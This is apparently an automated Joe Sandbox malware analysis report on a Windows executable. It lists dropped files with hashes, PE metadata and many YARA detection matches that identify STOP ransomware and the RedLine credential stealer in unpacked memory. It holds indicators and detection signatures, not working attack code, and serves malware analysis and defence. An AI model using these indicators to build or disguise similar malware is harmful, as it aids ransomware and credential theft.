Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe DAA8DB2383E3D9FE6CC680385E04FD9AEECEE60BC13A4D7C75E55D8D40258D58
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll 4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 026D8EC0 appears 57 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 026E0160 appears 49 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 02718EC0 appears 57 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 02720160 appears 49 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: String function: 0044F26C appears 41 times

Source: sqlite3[1].dll.8.dr

Static PE information: Number of sections : 18 > 10

Source: sbvN2ih5AU.exe, 00000000.00000000.1659822023.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000001.00000002.1686324341.0000000002F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000001.00000000.1661531191.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000003.00000002.1687718343.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000004.00000000.1686064758.00000000008C3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000005.00000002.1693324646.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000006.00000000.1691893016.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 00000009.00000000.1802113988.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 0000000A.00000000.1806284474.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 0000000C.00000000.1882519645.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe, 0000000D.00000000.1884149056.00000000008C3000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe
Source: sbvN2ih5AU.exe	Binary or memory string: OriginalFilenameGariauts> vs sbvN2ih5AU.exe

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe

Section loaded: nss3.dll

Source: sbvN2ih5AU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.sbvN2ih5AU.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.sbvN2ih5AU.exe.26215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.sbvN2ih5AU.exe.26f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.sbvN2ih5AU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.sbvN2ih5AU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.sbvN2ih5AU.exe.27e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 3.2.sbvN2ih5AU.exe.26b15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1798985147.0000000000603000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1693681111.0000000002545000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.1887388348.0000000002504000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.1813074892.0000000000A95000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
